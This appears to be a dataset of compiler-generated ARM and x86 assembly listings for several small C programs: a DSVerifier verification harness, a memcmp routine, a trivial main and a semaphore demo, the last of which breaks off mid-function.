str r2, [r3]
ldr r0, .L1624+4
bl call_verification_task
mov r3, #0
mov r0, r3
pop {fp, pc}
.L1625:
.align 2
.L1624:
.word rounding_mode
.word verify_stability
.size main, .-main
.section .rodata
.align 2
.LC99:
.ascii "\012\012*******************************************"
.ascii "*********************************\000"
.align 2
.LC100:
.ascii "* set (ds and impl) parameters to check with DSVeri"
.ascii "fier *\000"
.align 2
.LC101:
.ascii "***************************************************"
.ascii "*************************\000"
.text
.align 2
.global validation
.syntax unified
.arm
.fpu softvfp
.type validation, %function
validation:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r3, .L1629
ldr r3, [r3, #800]
cmp r3, #0
beq .L1627
ldr r3, .L1629
ldr r3, [r3, #1608]
cmp r3, #0
popne {fp, pc}
.L1627:
ldr r0, .L1629+4
bl puts
ldr r0, .L1629+8
bl puts
ldr r0, .L1629+12
bl puts
mov r0, #0
bl __DSVERIFIER_assert
pop {fp, pc}
.L1630:
.align 2
.L1629:
.word ds
.word .LC99
.word .LC100
.word .LC101
.size validation, .-validation
.align 2
.global call_verification_task
.syntax unified
.arm
.fpu softvfp
.type call_verification_task, %function
call_verification_task:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #72
str r0, [fp, #-88]
mov r3, #0
str r3, [fp, #-76]
mov r3, #0
strb r3, [fp, #-77]
mov r3, #0
str r3, [fp, #-72]
mov r3, #0
str r3, [fp, #-72]
b .L1632
.L1646:
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #300
add r3, r3, #3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1633
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #300
add r3, r3, #3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L1678+4
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1674
ldr r6, [fp, #-44]
ldr r3, [fp, #-40]
eor r7, r3, #-2147483648
b .L1637
.L1674:
sub r7, fp, #44
ldmia r7, {r6-r7}
.L1637:
str r6, [fp, #-44]
str r7, [fp, #-40]
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
sub r3, fp, #44
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1638
ldrb r3, [fp, #-77] @ zero_extendqisi2
cmp r3, #0
bne .L1676
.L1638:
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1640
ldrb r3, [fp, #-77]
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L1640
mov r3, #1
strb r3, [fp, #-77]
.L1640:
bl nondet_double
mov r2, r0
mov r3, r1
ldr r0, .L1678
ldr r1, [fp, #-72]
add r1, r1, #101
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1642
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1642
mov r3, #1
b .L1645
.L1642:
mov r3, #0
.L1645:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
b .L1633
.L1676:
nop
.L1633:
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1632:
ldr r3, .L1678
ldr r3, [r3, #1608]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1646
mov r3, #0
str r3, [fp, #-72]
b .L1647
.L1661:
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #203
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1648
ldr r2, .L1678
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, .L1678
ldr r3, [fp, #-72]
add r3, r3, #203
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L1678+4
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
mov r2, #0
mov r3, #0
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1675
ldr r4, [fp, #-68]
ldr r3, [fp, #-64]
eor r5, r3, #-2147483648
b .L1652
.L1675:
sub r5, fp, #68
ldmia r5, {r4-r5}
.L1652:
str r4, [fp, #-68]
str r5, [fp, #-64]
ldr r2, .L1678
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, .L1678
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
mov r3, #0
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1653
ldrb r3, [fp, #-77] @ zero_extendqisi2
cmp r3, #0
bne .L1677
.L1653:
mov r2, #0
mov r3, #0
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1655
ldrb r3, [fp, #-77]
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L1655
mov r3, #1
strb r3, [fp, #-77]
.L1655:
bl nondet_double
mov r2, r0
mov r3, r1
ldr r0, .L1678
ldr r1, [fp, #-72]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, .L1678
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1657
ldr r2, .L1678
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1657
mov r3, #1
b .L1660
.L1657:
mov r3, #0
.L1660:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
b .L1648
.L1677:
nop
.L1648:
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1647:
ldr r3, .L1678
ldr r3, [r3, #800]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1661
ldr r3, [fp, #-88]
blx r3
nop
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.L1679:
.align 2
.L1678:
.word ds
.word 1079574528
.size call_verification_task, .-call_verification_task
.align 2
.global call_closedloop_verification_task
.syntax unified
.arm
.fpu softvfp
.type call_closedloop_verification_task, %function
call_closedloop_verification_task:
@ args = 0, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #64
str r0, [fp, #-80]
mov r3, #0
strb r3, [fp, #-73]
mov r3, #0
str r3, [fp, #-72]
mov r3, #0
str r3, [fp, #-72]
b .L1681
.L1695:
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #300
add r3, r3, #3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1682
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #300
add r3, r3, #3
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L1727+4
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1723
ldr r6, [fp, #-44]
ldr r3, [fp, #-40]
eor r7, r3, #-2147483648
b .L1686
.L1723:
sub r7, fp, #44
ldmia r7, {r6-r7}
.L1686:
str r6, [fp, #-44]
str r7, [fp, #-40]
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
sub r3, fp, #44
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1687
ldrb r3, [fp, #-73] @ zero_extendqisi2
cmp r3, #0
bne .L1725
.L1687:
mov r2, #0
mov r3, #0
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1689
ldrb r3, [fp, #-73]
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L1689
mov r3, #1
strb r3, [fp, #-73]
.L1689:
bl nondet_double
mov r2, r0
mov r3, r1
ldr r0, .L1727
ldr r1, [fp, #-72]
add r1, r1, #101
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1691
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #101
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1691
mov r3, #1
b .L1694
.L1691:
mov r3, #0
.L1694:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
b .L1682
.L1725:
nop
.L1682:
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1681:
ldr r3, .L1727
ldr r3, [r3, #1608]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1695
mov r3, #0
str r3, [fp, #-72]
b .L1696
.L1710:
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #203
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1697
ldr r2, .L1727
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r2, .L1727
ldr r3, [fp, #-72]
add r3, r3, #203
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L1727+4
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
mov r2, #0
mov r3, #0
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1724
ldr r4, [fp, #-68]
ldr r3, [fp, #-64]
eor r5, r3, #-2147483648
b .L1701
.L1724:
sub r5, fp, #68
ldmia r5, {r4-r5}
.L1701:
str r4, [fp, #-68]
str r5, [fp, #-64]
ldr r2, .L1727
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, .L1727
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
mov r3, #0
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1702
ldrb r3, [fp, #-73] @ zero_extendqisi2
cmp r3, #0
bne .L1726
.L1702:
mov r2, #0
mov r3, #0
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1704
ldrb r3, [fp, #-73]
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L1704
mov r3, #1
strb r3, [fp, #-73]
.L1704:
bl nondet_double
mov r2, r0
mov r3, r1
ldr r0, .L1727
ldr r1, [fp, #-72]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, .L1727
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1706
ldr r2, .L1727
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1706
mov r3, #1
b .L1709
.L1706:
mov r3, #0
.L1709:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
b .L1697
.L1726:
nop
.L1697:
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1696:
ldr r3, .L1727
ldr r3, [r3, #800]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1710
ldr r3, [fp, #-80]
blx r3
nop
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.L1728:
.align 2
.L1727:
.word plant
.word 1079574528
.size call_closedloop_verification_task, .-call_closedloop_verification_task
.global ds
.data
.align 3
.type ds, %object
.size ds, 3224
ds:
.word 0
.word 1072693248
.word 0
.word 0
.space 784
.word 2
.space 4
.word 0
.word 1073217536
.word 0
.word -1075838976
.space 784
.word 2
.space 4
.word 1202590843
.word 1066695393
.space 1600
.global impl
.align 3
.type impl, %object
.size impl, 56
impl:
.word 4
.word 12
.word 0
.word 1072693248
.word 0
.word -1074790400
.space 32
.section .rodata
.align 2
.type __PRETTY_FUNCTION__.5216, %object
.size __PRETTY_FUNCTION__.5216, 20
__PRETTY_FUNCTION__.5216:
.ascii "__DSVERIFIER_assert\000"
.align 2
.type __PRETTY_FUNCTION__.5221, %object
.size __PRETTY_FUNCTION__.5221, 24
__PRETTY_FUNCTION__.5221:
.ascii "__DSVERIFIER_assert_msg\000"
.align 2
.type __PRETTY_FUNCTION__.5564, %object
.size __PRETTY_FUNCTION__.5564, 26
__PRETTY_FUNCTION__.5564:
.ascii "double_check_oscillations\000"
.align 2
.type __PRETTY_FUNCTION__.6126, %object
.size __PRETTY_FUNCTION__.6126, 12
__PRETTY_FUNCTION__.6126:
.ascii "snrVariance\000"
.align 2
.type __PRETTY_FUNCTION__.6139, %object
.size __PRETTY_FUNCTION__.6139, 9
__PRETTY_FUNCTION__.6139:
.ascii "snrPower\000"
.align 2
.type __PRETTY_FUNCTION__.6149, %object
.size __PRETTY_FUNCTION__.6149, 9
__PRETTY_FUNCTION__.6149:
.ascii "snrPoint\000"
.align 2
.type __PRETTY_FUNCTION__.6181, %object
.size __PRETTY_FUNCTION__.6181, 13
__PRETTY_FUNCTION__.6181:
.ascii "iirIIOutTime\000"
.align 2
.type __PRETTY_FUNCTION__.6199, %object
.size __PRETTY_FUNCTION__.6199, 14
__PRETTY_FUNCTION__.6199:
.ascii "iirIItOutTime\000"
.align 2
.type __PRETTY_FUNCTION__.6217, %object
.size __PRETTY_FUNCTION__.6217, 21
__PRETTY_FUNCTION__.6217:
.ascii "iirIItOutTime_double\000"
.align 2
.type __PRETTY_FUNCTION__.6554, %object
.size __PRETTY_FUNCTION__.6554, 28
__PRETTY_FUNCTION__.6554:
.ascii "double_direct_form_1_MSP430\000"
.align 2
.type __PRETTY_FUNCTION__.6576, %object
.size __PRETTY_FUNCTION__.6576, 28
__PRETTY_FUNCTION__.6576:
.ascii "double_direct_form_2_MSP430\000"
.align 2
.type __PRETTY_FUNCTION__.6594, %object
.size __PRETTY_FUNCTION__.6594, 39
__PRETTY_FUNCTION__.6594:
.ascii "double_transposed_direct_form_2_MSP430\000"
.align 2
.type __PRETTY_FUNCTION__.6844, %object
.size __PRETTY_FUNCTION__.6844, 15
__PRETTY_FUNCTION__.6844:
.ascii "initialization\000"
.align 2
.type __PRETTY_FUNCTION__.7103, %object
.size __PRETTY_FUNCTION__.7103, 31
__PRETTY_FUNCTION__.7103:
.ascii "verify_limit_cycle_state_space\000"
.align 2
.type __PRETTY_FUNCTION__.7203, %object
.size __PRETTY_FUNCTION__.7203, 30
__PRETTY_FUNCTION__.7203:
.ascii "verify_zero_input_limit_cycle\000"
.align 2
.type __PRETTY_FUNCTION__.7273, %object
.size __PRETTY_FUNCTION__.7273, 22
__PRETTY_FUNCTION__.7273:
.ascii "verify_generic_timing\000"
.align 2
.type __PRETTY_FUNCTION__.7321, %object
.size __PRETTY_FUNCTION__.7321, 17
__PRETTY_FUNCTION__.7321:
.ascii "verify_stability\000"
.align 2
.type __PRETTY_FUNCTION__.7688, %object
.size __PRETTY_FUNCTION__.7688, 25
__PRETTY_FUNCTION__.7688:
.ascii "verify_error_state_space\000"
.align 2
.type __PRETTY_FUNCTION__.7770, %object
.size __PRETTY_FUNCTION__.7770, 26
__PRETTY_FUNCTION__.7770:
.ascii "verify_safety_state_space\000"
.align 2
.type __PRETTY_FUNCTION__.7825, %object
.size __PRETTY_FUNCTION__.7825, 23
__PRETTY_FUNCTION__.7825:
.ascii "verify_controllability\000"
.align 2
.type __PRETTY_FUNCTION__.7865, %object
.size __PRETTY_FUNCTION__.7865, 30
__PRETTY_FUNCTION__.7865:
.ascii "verify_controllability_double\000"
.align 2
.type __PRETTY_FUNCTION__.7926, %object
.size __PRETTY_FUNCTION__.7926, 21
__PRETTY_FUNCTION__.7926:
.ascii "verify_observability\000"
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "8672.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rax, QWORD PTR -12[rbp]
mov QWORD PTR -24[rbp], rax
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -16[rbp], eax
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "8672.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
sub r3, fp, #28
sub r2, fp, #16
ldm r2, {r0, r1, r2}
stm r3, {r0, r1, r2}
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "880940.c"
.intel_syntax noprefix
.text
.globl memcmp
.type memcmp, @function
memcmp:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov QWORD PTR -56[rbp], rdx
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -48[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -20[rbp], 0
jmp .L2
.L4:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
movzx edx, al
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
movzx ecx, al
mov eax, edx
sub eax, ecx
mov DWORD PTR -20[rbp], eax
sub QWORD PTR -56[rbp], 1
add QWORD PTR -16[rbp], 1
add QWORD PTR -8[rbp], 1
.L2:
cmp QWORD PTR -56[rbp], 0
je .L3
cmp DWORD PTR -20[rbp], 0
je .L4
.L3:
mov eax, DWORD PTR -20[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size memcmp, .-memcmp
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "880940.c"
.text
.align 2
.global memcmp
.syntax unified
.arm
.fpu softvfp
.type memcmp, %function
memcmp:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
ldr r3, [fp, #-24]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
b .L2
.L4:
ldr r3, [fp, #-16]
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-12]
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-32]
sub r3, r3, #1
str r3, [fp, #-32]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r3, [fp, #-32]
cmp r3, #0
beq .L3
ldr r3, [fp, #-8]
cmp r3, #0
beq .L4
.L3:
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size memcmp, .-memcmp
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "125092.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "unexpected error occurred"
.text
.globl validateReturnValue
.type validateReturnValue, @function
validateReturnValue:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
cmp DWORD PTR -4[rbp], -1
jne .L3
lea rdi, .LC0[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L3:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size validateReturnValue, .-validateReturnValue
.globl perform_op
.type perform_op, @function
perform_op:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -24[rbp], edx
mov DWORD PTR -8[rbp], 0
jmp .L5
.L6:
mov rcx, QWORD PTR -32[rbp]
mov eax, DWORD PTR -20[rbp]
mov edx, 1
mov rsi, rcx
mov edi, eax
call semop@PLT
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
mov edi, eax
call validateReturnValue
add DWORD PTR -8[rbp], 1
.L5:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -24[rbp]
jl .L6
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size perform_op, .-perform_op
.section .rodata
.LC1:
.string "./vodonik.c"
.LC2:
.string "Pravim atome..."
.LC3:
.string "Kreirana dva atoma vodonika!"
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov esi, 97
lea rdi, .LC1[rip]
call ftok@PLT
mov DWORD PTR -40[rbp], eax
mov eax, DWORD PTR -40[rbp]
mov edi, eax
call validateReturnValue
mov DWORD PTR -36[rbp], 4
mov DWORD PTR -32[rbp], 1956
mov edx, DWORD PTR -32[rbp]
mov ecx, DWORD PTR -36[rbp]
mov eax, DWORD PTR -40[rbp]
mov esi, ecx
mov edi, eax
call semget@PLT
mov DWORD PTR -44[rbp], eax
cmp DWORD PTR -44[rbp], -1
jne .L8
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 17
jne .L9
mov ecx, DWORD PTR -36[rbp]
mov eax, DWORD PTR -40[rbp]
mov edx, 0
mov esi, ecx
mov edi, eax
call semget@PLT
mov DWORD PTR -44[rbp], eax
jmp .L10
.L9:
mov eax, DWORD PTR -44[rbp]
mov edi, eax
call validateReturnValue
jmp .L10
.L8:
mov eax, DWORD PTR -36[rbp]
cdqe
add rax, rax
mov rdi, rax
call malloc@PLT
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov WORD PTR [rax], 2
mov rax, QWORD PTR -16[rbp]
add rax, 2
mov WORD PTR [rax], 0
mov rax, QWORD PTR -16[rbp]
add rax, 4
mov WORD PTR [rax], 0
mov rax, QWORD PTR -16[rbp]
add rax, 6
mov WORD PTR [rax], 0
mov rdx, QWORD PTR -16[rbp]
mov eax, DWORD PTR -44[rbp]
mov rcx, rdx
mov edx, 17
mov esi, 0
mov edi, eax
mov eax, 0
call semctl@PLT
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -28[rbp]
mov edi, eax
call validateReturnValue
.L10:
mov WORD PTR -22[rbp], 0
mov WORD PTR -20[rbp], -1
mov WORD PTR -18[rbp], 0
mov WORD PTR -16[rbp], 1
mov WORD PTR -14[rbp], 1
mov WORD PTR -12[rbp], 0
.L11:
lea rcx, -22[rbp]
mov eax, DWORD PTR -44[rbp]
